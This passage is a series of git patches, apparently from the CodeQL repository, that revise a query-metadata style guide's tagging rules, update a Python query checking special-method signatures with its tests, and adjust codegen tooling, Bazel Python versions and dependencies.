`@tags` to associate it with the relevant CWEs. Add `@tags` for the most specific Base Weakness or Class Weakness in [View 1000](https://cwe.mitre.org/data/definitions/1000.html), using the parent/child relationship. For example: + +| `@tags security` | `external/cwe/cwe-022`| +|-|-| +||`external/cwe/cwe-023` | +||`external/cwe/cwe-036` | +||`external/cwe/cwe-073` | + +When you tag a query like this, the associated CWE pages from [MITRE.org](https://cwe.mitre.org/index.html) will automatically appear in the references section of its associated qhelp file. + +> [!NOTE] +> The automatic addition of CWE reference links works only if the qhelp file already contains a `` section. + +#### Quality query sub-category `@tags` + +* `@tags maintainability`–for queries that detect patterns that make it harder for developers to make changes to the code. +* `@tags reliability`–for queries that detect issues that affect whether the code will perform as expected during execution. + +Software quality doesn't have as universally-agreed categorization method as security issues like CWE, so we will do our own categorization instead of using tags like CWE. + +We'll have two "top-level" categories of quality queries, with sub-categories beneath: + +* `@tags maintainability`–for queries that detect patterns that make it harder for developers to make changes to the code. + * `@tags readability`–for queries that detect confusing patterns that make it harder for developers to read the code. + * + + +* `@tags reliability`–for queries that detect issues that affect whether the code will perform as expected during execution. + * `@tags correctness`–for queries that detect incorrect program behavior. + + + + There are also more specific `@tags` that can be added. See, the following pages for examples of the low-level tags: @@ -145,20 +180,7 @@ If necessary, you can also define your own low-level tags to categorize the quer * Use a forward slash / to indicate a hierarchical relationship between tags if necessary. For example, a query with tag `foo/bar` is also interpreted as also having tag `foo`, but not `bar`. * Use a single-word `@tags` name. Multiple words, separated with hyphens, can be used for clarity if necessary. -#### Security query `@tags` -If your query is a security query, use one or more `@tags` to associate it with the relevant CWEs. Add `@tags` for the most specific Base Weakness or Class Weakness in [View 1000](https://cwe.mitre.org/data/definitions/1000.html), using the parent/child relationship. For example: - -| `@tags security` | `external/cwe/cwe-022`| -|-|-| -||`external/cwe/cwe-023` | -||`external/cwe/cwe-036` | -||`external/cwe/cwe-073` | - -When you tag a query like this, the associated CWE pages from [MITRE.org](https://cwe.mitre.org/index.html) will automatically appear in the references section of its associated qhelp file. - -> [!NOTE] -> The automatic addition of CWE reference links works only if the qhelp file already contains a `` section. #### Metric/summary `@tags` From de5d3b6263b25657f6524306ce66b20beaa9a963 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Thu, 13 Mar 2025 12:42:51 -0500 Subject: [PATCH 016/282] Update query-metadata-style-guide.md --- docs/query-metadata-style-guide.md | 44 +++++++++++++++++------------- 1 file changed, 25 insertions(+), 19 deletions(-) diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md index d4704c6c11e..a13ad200a9a 100644 --- a/docs/query-metadata-style-guide.md +++ b/docs/query-metadata-style-guide.md @@ -121,9 +121,9 @@ Alert queries (`@kind problem` or `path-problem`) support two further properties ## Query tags `@tags` -The `@tags` property is used to define categories that the query relates to. As we prepare for the release of a dedicated code quality product, we will use tagging to prepare a stronger delineation between queries that are part of our existing "code security" product offering and those that are better suited as part of a "quality" product offering. Each alert query should belong to one of the following two top-level categories, with additional sub-categories: +The `@tags` property is used to define the high level category of problem that the query relates to. Each alert query should belong to one of the following two top-level categories, with additional sub-categories: -#### High level category `@tags` +### High level category `@tags` * `@tags security`–for queries that detect security weaknesses. See below for further information. * `@tags quality`–for queries that detect code quality issues. See below for further information. @@ -149,18 +149,19 @@ When you tag a query like this, the associated CWE pages from [MITRE.org](https: Software quality doesn't have as universally-agreed categorization method as security issues like CWE, so we will do our own categorization instead of using tags like CWE. -We'll have two "top-level" categories of quality queries, with sub-categories beneath: +We'll use two "top-level" categories of quality queries, with sub-categories beneath: * `@tags maintainability`–for queries that detect patterns that make it harder for developers to make changes to the code. * `@tags readability`–for queries that detect confusing patterns that make it harder for developers to read the code. - * - + * `@tags unused-code`-for queries that detect functions that are never used and other instances of unused code + * `@tags complexity`-for queries that detect patterns in the code that lead to unnecesary complexity such as unclear control flow, or high cyclomatic complexity + * `@tags reliability`–for queries that detect issues that affect whether the code will perform as expected during execution. - * `@tags correctness`–for queries that detect incorrect program behavior. - - - + * `@tags correctness`–for queries that detect incorrect program behavior or couse result in unintended outcomes. + * `@tags performance`-for queries that detect code that could impact performance through inefficient algorithms, unnecessary computation, etc + * `@tags concurrency`-for queries that detect concurrency related issues such as race conditions, deadlocks, thread safety, etc + * `@tags error-handling`-for queries that detect issues related to unsafe error handling such as uncaught exceptions, etc There are also more specific `@tags` that can be added. See, the following pages for examples of the low-level tags: @@ -172,23 +173,28 @@ There are also more specific `@tags` that can be added. See, the following pages * [JavaScript queries](https://codeql.github.com/codeql-query-help/javascript/) * [Python queries](https://codeql.github.com/codeql-query-help/python/) + +### Severities + +Maintainers are expected to add a `@security-severity` tag to security relevant queries that will be run on Code Scanning. There is a documented internal process for generating these `@security-severity` values. + +TODO: should we have a severity value for quality queries? + +### Metric/summary `@tags` + +Code Scanning may use tags to identify queries with specific meanings across languages. Currently, there is only one such tag: `lines-of-code`. The sum of the results for queries with this tag that return a single number column ([example for JavaScript](https://github.com/github/codeql/blob/c47d680d65f09a851e41d4edad58ffa7486b5431/java/ql/src/Metrics/Summaries/LinesOfCode.ql)) is interpreted by Code Scanning as the lines of code under the source root present in the database. Each language should have exactly one query of this form. + Metric queries (`@kind metric`) may have the `summary` tag. If SARIF output is used, the results of these queries can be found at `run[].properties.metricResults`. -If necessary, you can also define your own low-level tags to categorize the queries specific to your project or organization. When creating your own tags, you should: + +### Customizing tags + +If necessary, you can also define your own low-level tags to categorize the queries specific to your project or organization, but if possible, please try to follow the above standards (or propose changes to this style guide). When creating your own tags, you should: * Use all lower-case letters, including for acronyms and proper nouns, with no spaces. All characters apart from * and @ are accepted. * Use a forward slash / to indicate a hierarchical relationship between tags if necessary. For example, a query with tag `foo/bar` is also interpreted as also having tag `foo`, but not `bar`. * Use a single-word `@tags` name. Multiple words, separated with hyphens, can be used for clarity if necessary. - - -#### Metric/summary `@tags` - -Code Scanning may use tags to identify queries with specific meanings across languages. Currently, there is only one such tag: `lines-of-code`. The sum of the results for queries with this tag that return a single number column ([example for JavaScript](https://github.com/github/codeql/blob/c47d680d65f09a851e41d4edad58ffa7486b5431/java/ql/src/Metrics/Summaries/LinesOfCode.ql)) is interpreted by Code Scanning as the lines of code under the source root present in the database. Each language should have exactly one query of this form. - - -Maintainers are expected to add a `@security-severity` tag to security relevant queries that will be run on Code Scanning. There is a documented internal process for generating these `@security-severity` values. - ## QL area ### Alert messages From bf688b88a9152f5c3f1248b5887ee935e462e832 Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 14 Mar 2025 16:29:54 +0000 Subject: [PATCH 017/282] Python: Add missing special methods --- .../src/Functions/SignatureSpecialMethods.ql | 39 ++++++++++++++++--- 1 file changed, 33 insertions(+), 6 deletions(-) diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql index 500a384180a..b606b366868 100644 --- a/python/ql/src/Functions/SignatureSpecialMethods.ql +++ b/python/ql/src/Functions/SignatureSpecialMethods.ql @@ -16,7 +16,9 @@ predicate is_unary_op(string name) { name in [ "__del__", "__repr__", "__neg__", "__pos__", "__abs__", "__invert__", "__complex__", "__int__", "__float__", "__long__", "__oct__", "__hex__", "__str__", "__index__", "__enter__", - "__hash__", "__bool__", "__nonzero__", "__unicode__", "__len__", "__iter__", "__reversed__" + "__hash__", "__bool__", "__nonzero__", "__unicode__", "__len__", "__iter__", "__reversed__", + "__aenter__", "__aiter__", "__anext__", "__await__", "__ceil__", "__floor__", "__trunc__", + "__length_hint__", "__dir__", "__bytes__" ] } @@ -28,17 +30,19 @@ predicate is_binary_op(string name) { "__and__", "__xor__", "__or__", "__ne__", "__radd__", "__rsub__", "__rmul__", "__rfloordiv__", "__rdiv__", "__rtruediv__", "__rmod__", "__rdivmod__", "__rpow__", "__rlshift__", "__gt__", "__rrshift__", "__rand__", "__rxor__", "__ror__", "__iadd__", "__isub__", "__imul__", - "__ifloordiv__", "__idiv__", "__itruediv__", "__ge__", "__imod__", "__idivmod__", "__ipow__", - "__ilshift__", "__irshift__", "__iand__", "__ixor__", "__ior__", "__coerce__", "__cmp__", - "__rcmp__", "__getattr___", "__getattribute___" + "__ifloordiv__", "__idiv__", "__itruediv__", "__ge__", "__imod__", "__ipow__", "__ilshift__", + "__irshift__", "__iand__", "__ixor__", "__ior__", "__coerce__", "__cmp__", "__rcmp__", + "__getattr__", "__getattribute__", "__buffer__", "__release_buffer__", "__matmul__", + "__rmatmul__", "__imatmul__", "__missing__", "__class_getitem__", "__mro_entries__", + "__format__" ] } predicate is_ternary_op(string name) { - name in ["__setattr__", "__set__", "__setitem__", "__getslice__", "__delslice__"] + name in ["__setattr__", "__set__", "__setitem__", "__getslice__", "__delslice__", "__set_name__"] } -predicate is_quad_op(string name) { name = "__setslice__" or name = "__exit__" } +predicate is_quad_op(string name) { name in ["__setslice__", "__exit__", "__aexit__"] } int argument_count(string name) { is_unary_op(name) and result = 1 @@ -97,6 +101,27 @@ predicate incorrect_pow( ) } +predicate incorrect_round( + Function func, string message, boolean show_counts, boolean is_unused_default +) { + exists(int correction | correction = staticmethod_correction(func) | + func.getMaxPositionalArguments() < 1 - correction and + message = "Too few parameters" and + show_counts = true and + is_unused_default = false + or + func.getMinPositionalArguments() > 2 - correction and + message = "Too many parameters" and + show_counts = true and + is_unused_default = false + or + func.getMinPositionalArguments() = 2 - correction and + message = "Second parameter to __round__ should have a default value" and + show_counts = false and + is_unused_default = false + ) +} + predicate incorrect_get( Function func, string message, boolean show_counts, boolean is_unused_default ) { @@ -160,6 +185,8 @@ where or incorrect_get(f.getScope(), message, show_counts, show_unused_defaults) and name = "__get__" or + incorrect_round(f.getScope(), message, show_counts, show_unused_defaults) and + name = "__round__" ) and not isLikelyPlaceholderFunction(f.getScope()) and show_unused_defaults = false and From c9e9deb41e08f1fb57ead62e36ae7135138b96e6 Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 14 Mar 2025 16:49:33 +0000 Subject: [PATCH 018/282] Python: Adapt to a points-to-less world Technically we still depend on points-to in that we still mention `PythonFunctionValue` and `ClassValue` in the query. However, we immediately move to working with the corresponding `Function` and `Class` AST nodes, and so we're not really using points-to. (The reason for doing things this way is that otherwise the `.toString()` for all of the alerts would change, which would make the diff hard to interpret. This way, it should be fairly simple to see which changes are actually relevant.) We do lose some precision when moving away from points-to, and this is reflected in the changes in the `.expected` file. In particular we no longer do complicated tracking of values, but rather look at the syntactic structure of the classes in question. This causes us to lose out on some results where a special method is defined elsewhere, and causes a single FP where a special method initially has the wrong signature, but is subsequently overwritten with a function with the correct signature. We also lose out on results having to do with default values, as these are now disabled. Finally, it was necessary to add special handling of methods marked with the `staticmethod` decorator, as these expect to receive fewer arguments. This was motivated by a MRVA run, where e.g. sympy showed a lot of examples along the lines of ``` @staticmethod def __abs__(): return ... ``` --- .../src/Functions/SignatureSpecialMethods.ql | 37 +++++++++++++------ .../general/SignatureSpecialMethods.expected | 5 +-- .../query-tests/Functions/general/om_test.py | 10 +++-- 3 files changed, 34 insertions(+), 18 deletions(-) diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql index b606b366868..6c063b3ff9b 100644 --- a/python/ql/src/Functions/SignatureSpecialMethods.ql +++ b/python/ql/src/Functions/SignatureSpecialMethods.ql @@ -11,6 +11,7 @@ */ import python +import semmle.python.dataflow.new.internal.DataFlowDispatch as DD predicate is_unary_op(string name) { name in [ @@ -54,10 +55,20 @@ int argument_count(string name) { is_quad_op(name) and result = 4 } +/** + * Returns 1 if `func` is a static method, and 0 otherwise. This predicate is used to adjust the + * number of expected arguments for a special method accordingly. + */ +int staticmethod_correction(Function func) { + if DD::isStaticmethod(func) then result = 1 else result = 0 +} + predicate incorrect_special_method_defn( Function func, string message, boolean show_counts, string name, boolean is_unused_default ) { - exists(int required | required = argument_count(name) | + exists(int required, int correction | + required = argument_count(name) - correction and correction = staticmethod_correction(func) + | /* actual_non_default <= actual */ if required > func.getMaxPositionalArguments() then message = "Too few parameters" and show_counts = true and is_unused_default = false @@ -78,23 +89,23 @@ predicate incorrect_special_method_defn( predicate incorrect_pow( Function func, string message, boolean show_counts, boolean is_unused_default ) { - ( - func.getMaxPositionalArguments() < 2 and + exists(int correction | correction = staticmethod_correction(func) | + func.getMaxPositionalArguments() < 2 - correction and message = "Too few parameters" and show_counts = true and is_unused_default = false or - func.getMinPositionalArguments() > 3 and + func.getMinPositionalArguments() > 3 - correction and message = "Too many parameters" and show_counts = true and is_unused_default = false or - func.getMinPositionalArguments() < 2 and + func.getMinPositionalArguments() < 2 - correction and message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and show_counts = false and is_unused_default = true or - func.getMinPositionalArguments() = 3 and + func.getMinPositionalArguments() = 3 - correction and message = "Third parameter to __pow__ should have a default value" and show_counts = false and is_unused_default = false @@ -125,18 +136,18 @@ predicate incorrect_round( predicate incorrect_get( Function func, string message, boolean show_counts, boolean is_unused_default ) { - ( - func.getMaxPositionalArguments() < 3 and + exists(int correction | correction = staticmethod_correction(func) | + func.getMaxPositionalArguments() < 3 - correction and message = "Too few parameters" and show_counts = true and is_unused_default = false or - func.getMinPositionalArguments() > 3 and + func.getMinPositionalArguments() > 3 - correction and message = "Too many parameters" and show_counts = true and is_unused_default = false or - func.getMinPositionalArguments() < 2 and + func.getMinPositionalArguments() < 2 - correction and not func.hasVarArg() and message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and show_counts = false and @@ -170,6 +181,9 @@ predicate isLikelyPlaceholderFunction(Function f) { or // Body just raises an exception. f.getBody().getLastItem() instanceof Raise + or + // Body is a pass statement. + f.getBody().getLastItem() instanceof Pass ) } @@ -177,7 +191,8 @@ from PythonFunctionValue f, string message, string sizes, boolean show_counts, string name, ClassValue owner, boolean show_unused_defaults where - owner.declaredAttribute(name) = f and + owner.getScope().getAMethod() = f.getScope() and + f.getScope().getName() = name and ( incorrect_special_method_defn(f.getScope(), message, show_counts, name, show_unused_defaults) or diff --git a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected index 94fba173b3b..5f8cb49c10e 100644 --- a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected +++ b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected @@ -3,7 +3,4 @@ | om_test.py:65:5:65:29 | Function WrongSpecials.__neg__ | Too many parameters for special method __neg__, which has 2 parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | | om_test.py:68:5:68:35 | Function WrongSpecials.__exit__ | Too few parameters for special method __exit__, which has 3 parameters, but should have 4, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | | om_test.py:71:5:71:19 | Function WrongSpecials.__repr__ | Too few parameters for special method __repr__, which has no parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | -| om_test.py:74:5:74:46 | Function WrongSpecials.__add__ | 1 default values(s) will never be used for special method __add__, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | -| om_test.py:97:15:97:34 | Function NotOKSpecials.lambda | Too few parameters for special method __sub__, which has 1 parameter, but should have 2, in class $@. | om_test.py:95:1:95:28 | class NotOKSpecials | NotOKSpecials | -| protocols.py:107:1:107:12 | Function f | Too few parameters for special method __add__, which has 1 parameter, but should have 2, in class $@. | protocols.py:110:1:110:29 | class MissingMethods | MissingMethods | -| protocols.py:107:1:107:12 | Function f | Too few parameters for special method __set__, which has 1 parameter, but should have 3, in class $@. | protocols.py:110:1:110:29 | class MissingMethods | MissingMethods | +| om_test.py:83:5:83:18 | Function OKSpecials.__del__ | Too few parameters for special method __del__, which has no parameters, but should have 1, in class $@. | om_test.py:81:1:81:25 | class OKSpecials | OKSpecials | diff --git a/python/ql/test/query-tests/Functions/general/om_test.py b/python/ql/test/query-tests/Functions/general/om_test.py index cbee20625aa..959ed6bfe34 100644 --- a/python/ql/test/query-tests/Functions/general/om_test.py +++ b/python/ql/test/query-tests/Functions/general/om_test.py @@ -69,11 +69,11 @@ class WrongSpecials(object): return arg0 == arg1 def __repr__(): - pass + return "" def __add__(self, other="Unused default"): - pass - + return 4 + @staticmethod def __abs__(): return 42 @@ -105,3 +105,7 @@ class LoggingDict(dict): +class MoreSpecialMethods: + @staticmethod + def __abs__(): + return 42 From ef9b229023e78fccc259f7a07b35adf0472a27c1 Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 14 Mar 2025 16:51:42 +0000 Subject: [PATCH 019/282] Python: Actually get rid of points-to Also adds `quality` to the list of tags for the query. --- .../src/Functions/SignatureSpecialMethods.ql | 23 +++++++++---------- .../general/SignatureSpecialMethods.expected | 12 +++++----- 2 files changed, 17 insertions(+), 18 deletions(-) diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql index 6c063b3ff9b..caa6f8c1614 100644 --- a/python/ql/src/Functions/SignatureSpecialMethods.ql +++ b/python/ql/src/Functions/SignatureSpecialMethods.ql @@ -4,6 +4,7 @@ * @kind problem * @tags reliability * correctness + * quality * @problem.severity error * @sub-severity low * @precision high @@ -188,29 +189,27 @@ predicate isLikelyPlaceholderFunction(Function f) { } from - PythonFunctionValue f, string message, string sizes, boolean show_counts, string name, - ClassValue owner, boolean show_unused_defaults + Function f, string message, string sizes, boolean show_counts, string name, Class owner, + boolean show_unused_defaults where - owner.getScope().getAMethod() = f.getScope() and - f.getScope().getName() = name and + owner.getAMethod() = f and + f.getName() = name and ( - incorrect_special_method_defn(f.getScope(), message, show_counts, name, show_unused_defaults) + incorrect_special_method_defn(f, message, show_counts, name, show_unused_defaults) or - incorrect_pow(f.getScope(), message, show_counts, show_unused_defaults) and name = "__pow__" + incorrect_pow(f, message, show_counts, show_unused_defaults) and name = "__pow__" or - incorrect_get(f.getScope(), message, show_counts, show_unused_defaults) and name = "__get__" + incorrect_get(f, message, show_counts, show_unused_defaults) and name = "__get__" or - incorrect_round(f.getScope(), message, show_counts, show_unused_defaults) and + incorrect_round(f, message, show_counts, show_unused_defaults) and name = "__round__" ) and - not isLikelyPlaceholderFunction(f.getScope()) and + not isLikelyPlaceholderFunction(f) and show_unused_defaults = false and ( show_counts = false and sizes = "" or show_counts = true and - sizes = - ", which has " + has_parameters(f.getScope()) + ", but should have " + - should_have_parameters(name) + sizes = ", which has " + has_parameters(f) + ", but should have " + should_have_parameters(name) ) select f, message + " for special method " + name + sizes + ", in class $@.", owner, owner.getName() diff --git a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected index 5f8cb49c10e..55f1e7381f1 100644 --- a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected +++ b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected @@ -1,6 +1,6 @@ -| om_test.py:59:5:59:28 | Function WrongSpecials.__div__ | Too many parameters for special method __div__, which has 3 parameters, but should have 2, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | -| om_test.py:62:5:62:22 | Function WrongSpecials.__mul__ | Too few parameters for special method __mul__, which has 1 parameter, but should have 2, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | -| om_test.py:65:5:65:29 | Function WrongSpecials.__neg__ | Too many parameters for special method __neg__, which has 2 parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | -| om_test.py:68:5:68:35 | Function WrongSpecials.__exit__ | Too few parameters for special method __exit__, which has 3 parameters, but should have 4, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | -| om_test.py:71:5:71:19 | Function WrongSpecials.__repr__ | Too few parameters for special method __repr__, which has no parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | -| om_test.py:83:5:83:18 | Function OKSpecials.__del__ | Too few parameters for special method __del__, which has no parameters, but should have 1, in class $@. | om_test.py:81:1:81:25 | class OKSpecials | OKSpecials | +| om_test.py:59:5:59:28 | Function __div__ | Too many parameters for special method __div__, which has 3 parameters, but should have 2, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials | +| om_test.py:62:5:62:22 | Function __mul__ | Too few parameters for special method __mul__, which has 1 parameter, but should have 2, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials | +| om_test.py:65:5:65:29 | Function __neg__ | Too many parameters for special method __neg__, which has 2 parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials | +| om_test.py:68:5:68:35 | Function __exit__ | Too few parameters for special method __exit__, which has 3 parameters, but should have 4, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials | +| om_test.py:71:5:71:19 | Function __repr__ | Too few parameters for special method __repr__, which has no parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials | +| om_test.py:83:5:83:18 | Function __del__ | Too few parameters for special method __del__, which has no parameters, but should have 1, in class $@. | om_test.py:81:1:81:25 | Class OKSpecials | OKSpecials | From 06b349e307db7ecab18b03a34d3f31aea6877ac5 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 12:15:45 +0100 Subject: [PATCH 020/282] Codegen: introduce name conflict error in `dbschemegen` --- misc/codegen/generators/dbschemegen.py | 15 +++++++++++++++ misc/codegen/test/test_dbschemegen.py | 10 ++++++++++ 2 files changed, 25 insertions(+) diff --git a/misc/codegen/generators/dbschemegen.py b/misc/codegen/generators/dbschemegen.py index e2cc4220dc7..8266eb5be0f 100755 --- a/misc/codegen/generators/dbschemegen.py +++ b/misc/codegen/generators/dbschemegen.py @@ -24,6 +24,10 @@ from misc.codegen.lib.dbscheme import * log = logging.getLogger(__name__) +class Error(Exception): + pass + + def dbtype(typename: str, add_or_none_except: typing.Optional[str] = None) -> str: """ translate a type to a dbscheme counterpart, using `@lower_underscore` format for classes. For class types, appends an underscore followed by `null` if provided @@ -108,6 +112,16 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a ) +def check_name_conflicts(decls: list[Table | Union]): + names = set() + for decl in decls: + match decl: + case Table(name=name): + if name in names: + raise Error(f"Duplicate table name: {name}") + names.add(name) + + def get_declarations(data: schema.Schema): add_or_none_except = data.root_class.name if data.null else None declarations = [d for cls in data.classes.values() if not cls.imported for d in cls_to_dbscheme(cls, @@ -120,6 +134,7 @@ def get_declarations(data: schema.Schema): declarations += [ Union(dbtype(t, data.null), [dbtype(t), dbtype(data.null)]) for t in sorted(property_classes) ] + check_name_conflicts(declarations) return declarations diff --git a/misc/codegen/test/test_dbschemegen.py b/misc/codegen/test/test_dbschemegen.py index 96a6b0d0f7f..5d0e5049f0b 100644 --- a/misc/codegen/test/test_dbschemegen.py +++ b/misc/codegen/test/test_dbschemegen.py @@ -593,5 +593,15 @@ def test_synth_properties_ignored(generate): ) +def test_table_conflict(generate, dir_param): + with pytest.raises(dbschemegen.Error): + generate([ + schema.Class("Foo", pragmas={"group": dir_param.input}, properties=[ + schema.OptionalProperty("bar", "FooBar"), + ]), + schema.Class("FooBar", pragmas={"group": dir_param.input}), + ]) + + if __name__ == '__main__': sys.exit(pytest.main([__file__] + sys.argv[1:])) From 53c235dfd5fdc8c86c66a32cc9a30dc2ad796eca Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 14:18:13 +0100 Subject: [PATCH 021/282] Bazel: bump python version to 3.12 --- .bazelrc | 1 + .bazelrc.internal | 2 ++ MODULE.bazel | 2 +- misc/codegen/.python-version | 2 +- 4 files changed, 5 insertions(+), 2 deletions(-) diff --git a/.bazelrc b/.bazelrc index 71c954c2b0b..449345bfb62 100644 --- a/.bazelrc +++ b/.bazelrc @@ -37,5 +37,6 @@ build --java_language_version=17 build --tool_java_language_version=17 build --tool_java_runtime_version=remotejdk_17 build --java_runtime_version=remotejdk_17 +build --@rules_python//python/config_settings:python_version=3.12 try-import %workspace%/local.bazelrc diff --git a/.bazelrc.internal b/.bazelrc.internal index f7718959c9d..245cd98fbd8 100644 --- a/.bazelrc.internal +++ b/.bazelrc.internal @@ -8,3 +8,5 @@ common --registry=https://bcr.bazel.build # its implementation packages without providing any code itself. # We either can depend on internal implementation details, or turn of strict deps. common --@rules_dotnet//dotnet/settings:strict_deps=false + +build --@rules_python//python/config_settings:python_version=3.12 diff --git a/MODULE.bazel b/MODULE.bazel index 19bb0bb0022..99bc78c6392 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -155,7 +155,7 @@ use_repo(csharp_main_extension, "paket.main") pip = use_extension("@rules_python//python/extensions:pip.bzl", "pip") pip.parse( hub_name = "codegen_deps", - python_version = "3.11", + python_version = "3.12", requirements_lock = "//misc/codegen:requirements_lock.txt", ) use_repo(pip, "codegen_deps") diff --git a/misc/codegen/.python-version b/misc/codegen/.python-version index 2c0733315e4..e4fba218358 100644 --- a/misc/codegen/.python-version +++ b/misc/codegen/.python-version @@ -1 +1 @@ -3.11 +3.12 From 91b7329652db5a36c6fef3c27e6333bd32c41be1 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 14:19:03 +0100 Subject: [PATCH 022/282] Codegen: update dependencies --- misc/codegen/requirements_lock.txt | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/misc/codegen/requirements_lock.txt b/misc/codegen/requirements_lock.txt index f0ae5d82ba7..d29fbd56076 100644 --- a/misc/codegen/requirements_lock.txt +++ b/misc/codegen/requirements_lock.txt @@ -1,5 +1,5 @@ # -# This file is autogenerated by pip-compile with Python 3.11 +# This file is autogenerated by pip-compile with Python 3.12 # by the following command: # # pip-compile --output-file=misc/codegen/requirements_lock.txt misc/codegen/requirements_in.txt @@ -8,15 +8,15 @@ inflection==0.5.1 # via -r misc/codegen/requirements_in.txt iniconfig==2.0.0 # via pytest -packaging==23.2 +packaging==24.2 # via pytest -pluggy==1.4.0 +pluggy==1.5.0 # via pytest -pystache==0.6.5 +pystache==0.6.8 # via -r misc/codegen/requirements_in.txt -pytest==8.0.0 +pytest==8.3.5 # via -r misc/codegen/requirements_in.txt -pyyaml==6.0.1 +pyyaml==6.0.2 # via -r misc/codegen/requirements_in.txt toposort==1.10 # via -r misc/codegen/requirements_in.txt From 841214f0f4c4d3a4cfb576e887e80d2798587b98 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 14:20:44 +0100 Subject: [PATCH 023/282] Codegen: introduce property-only pragmas --- misc/codegen/lib/schemadefs.py | 87 ++++++++++++++------------ misc/codegen/test/test_dbschemegen.py | 6 +- misc/codegen/test/test_schemaloader.py | 17 ++++- 3 files changed, 64 insertions(+), 46 deletions(-) diff --git a/misc/codegen/lib/schemadefs.py b/misc/codegen/lib/schemadefs.py index c81b2f2e215..dc8bd2aab4d 100644 --- a/misc/codegen/lib/schemadefs.py +++ b/misc/codegen/lib/schemadefs.py @@ -2,8 +2,9 @@ from typing import ( Callable as _Callable, Dict as _Dict, Iterable as _Iterable, - ClassVar as _ClassVar, + Union as _Union, ) +from copy import deepcopy as _deepcopy from misc.codegen.lib import schema as _schema import inspect as _inspect from dataclasses import dataclass as _dataclass @@ -75,7 +76,7 @@ class _Namespace: """ simple namespacing mechanism """ _name: str - def add(self, pragma: "_PragmaBase", key: str | None = None): + def add(self, pragma: _Union["_PragmaBase", "_Parametrized"], key: str | None = None): self.__dict__[pragma.pragma] = pragma pragma.pragma = key or f"{self._name}_{pragma.pragma}" @@ -101,6 +102,10 @@ synth = _SynthModifier("synth") @_dataclass class _PragmaBase: pragma: str + value: object = None + + def _apply(self, pragmas: _Dict[str, object]) -> None: + pragmas[self.pragma] = self.value @_dataclass @@ -109,7 +114,6 @@ class _ClassPragma(_PragmaBase): For schema classes it acts as a python decorator with `@`. """ inherited: bool = False - value: object = None def __call__(self, cls: type) -> type: """ use this pragma as a decorator on classes """ @@ -122,15 +126,11 @@ class _ClassPragma(_PragmaBase): self._apply(cls._pragmas) return cls - def _apply(self, pragmas: _Dict[str, object]) -> None: - pragmas[self.pragma] = self.value - @_dataclass -class _Pragma(_ClassPragma, _schema.PropertyModifier): - """ A class or property pragma. - For properties, it functions similarly to a `_PropertyModifier` with `|`, adding the pragma. - For schema classes it acts as a python decorator with `@`. +class _PropertyPragma(_PragmaBase, _schema.PropertyModifier): + """ A property pragma. + It functions similarly to a `_PropertyModifier` with `|`, adding the pragma. """ remove: bool = False @@ -138,7 +138,7 @@ class _Pragma(_ClassPragma, _schema.PropertyModifier): self._apply(prop.pragmas) def negate(self) -> _schema.PropertyModifier: - return _Pragma(self.pragma, remove=True) + return _PropertyPragma(self.pragma, remove=not self.remove) def _apply(self, pragmas: _Dict[str, object]) -> None: if self.remove: @@ -148,31 +148,38 @@ class _Pragma(_ClassPragma, _schema.PropertyModifier): @_dataclass -class _ParametrizedClassPragma(_PragmaBase): - """ A class parametrized pragma. - Needs to be applied to a parameter to give a class pragma. +class _Pragma(_ClassPragma, _PropertyPragma): + """ A class or property pragma. + For properties, it functions similarly to a `_PropertyModifier` with `|`, adding the pragma. + For schema classes it acts as a python decorator with `@`. """ - _pragma_class: _ClassVar[type] = _ClassPragma - - inherited: bool = False - factory: _Callable[..., object] = None - - def __post_init__(self): - self.__signature__ = _inspect.signature(self.factory).replace(return_annotation=self._pragma_class) - - def __call__(self, *args, **kwargs) -> _pragma_class: - return self._pragma_class(self.pragma, self.inherited, value=self.factory(*args, **kwargs)) -@_dataclass -class 